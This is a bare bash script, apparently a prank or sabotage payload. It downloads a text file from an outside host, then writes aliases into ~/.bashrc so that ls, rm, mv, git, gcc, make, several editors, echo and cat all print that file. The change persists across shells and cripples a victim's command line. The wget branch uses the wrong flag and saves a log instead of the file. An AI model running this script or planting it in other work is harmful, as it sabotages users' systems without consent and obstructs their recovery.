YUNPENG_SRC="https://fu.hpi.church/fu.txt"
YUNPENG_DEST_DIR="$HOME/.fu"
mkdir -p ~/.fu

if command -v curl &> /dev/null
then
    curl -o "$YUNPENG_DEST_DIR/fu.txt" "$YUNPENG_SRC"
elif command -v wget &> /dev/null
then
    wget -o "$YUNPENG_DEST_DIR/fu.txt" "$YUNPENG_SRC"
else
    echo "Design thinking failed, no way of consoooming the internet"
    exit 1
fi

dThink() {
    /bin/echo "alias $1='/bin/cat $YUNPENG_DEST_DIR/fu.txt'" >> ~/.bashrc
}


dThink ls
dThink du
dThink rm
dThink mv
dThink make
dThink gcc
dThink clang
dThink git
dThink emacs
dThink code
dThink nvim
dThink vim
dThink vi
dThink nano
dThink echo
dThink cat
